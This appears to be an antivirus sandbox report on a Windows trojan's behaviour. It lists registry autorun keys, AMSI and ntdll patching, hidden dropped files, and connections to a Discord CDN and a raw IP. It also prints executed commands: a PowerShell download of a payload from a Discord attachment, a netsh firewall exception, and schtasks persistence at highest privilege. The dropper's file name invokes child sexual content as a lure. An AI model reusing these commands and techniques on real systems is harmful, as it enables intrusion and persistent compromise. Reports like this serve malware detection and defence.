Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,%WINDIR%\xdwdSystem32\Defender.exe'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'AppInit_DLLs' = '%WINDIR%\xdwd.dll'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows] 'LoadAppInit_DLLs' = '00000001'
Creates or modifies the following files
- <SYSTEM32>\tasks\microsoft\windows\wappcrashnvtew
- <SYSTEM32>\tasks\microsoft\machinecore
Malicious functions
Patches code
in AMSI dll
- gay porn child.exe process, Amsi.dll module
- defender.exe process, Amsi.dll module
in NTDLL dll
- gay porn child.exe process, ntdll.dll module
- defender.exe process, ntdll.dll module
Modifies file system
Creates the following files
- %TEMP%\2vx2o1zn.jma.bat
- %TEMP%\gay porn child.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
- %WINDIR%\xdwdsystem32\defender.exe
- %WINDIR%\web\malwaredef.exe
- %WINDIR%\xdwd.dll
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\gay porn child.exe.log
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\defender.exe.log
Sets the 'hidden' attribute to the following files
- %WINDIR%\xdwdsystem32\defender.exe
- %WINDIR%\web\malwaredef.exe
- %WINDIR%\xdwd.dll
Deletes following files that it created itself
- %TEMP%\2vx2o1zn.jma.bat
Network activity
Connects to
- 'cd#.##scordapp.com':443
- 'ap#.#pify.org':443
- '14#.#1.61.126':28943
TCP
Other
- 'cd#.##scordapp.com':443
- 'ap#.#pify.org':443
UDP
- DNS ASK cd#.##scordapp.com
- DNS ASK ap#.#pify.org
Miscellaneous
Creates and executes the following
- '%TEMP%\gay porn child.exe'
- '%WINDIR%\xdwdsystem32\defender.exe'
Executes the following
- '<SYSTEM32>\cmd.exe' /c "%TEMP%\2vx2o1zn.jma.bat"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -c "$t=$env:TEMP+'\gay porn child.exe';$u='https://cdn.discordapp.com/attachments/1513431895147282465/1520063460946219138/gay_porn_child.b64?ex=6a3fd4ea&is=6a3e836a&hm=0233caa3626312ddabed276cd...
- '<SYSTEM32>\cmd.exe' netsh advfirewall firewall add rule name="RmO>N<=PNO2ZNA" dir=in action=allow program="%WINDIR%\xdwdSystem32\Defender.exe" enable=yes & exit
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "%WINDIR%\xdwdSystem32\Defender.exe" /RL HIGHEST & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /mo 1 /tn "Microsoft\Windows\WAppCrashNvTew" /tr "%WINDIR%\xdwdSystem32\Defender.exe" /RL HIGHEST
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "%WINDIR%\Web\MalwareDef.exe" /RL HIGHEST & exit
- '<SYSTEM32>\schtasks.exe' /create /f /sc minute /mo 30 /tn "Microsoft\MachineCore" /tr "%WINDIR%\Web\MalwareDef.exe" /RL HIGHEST
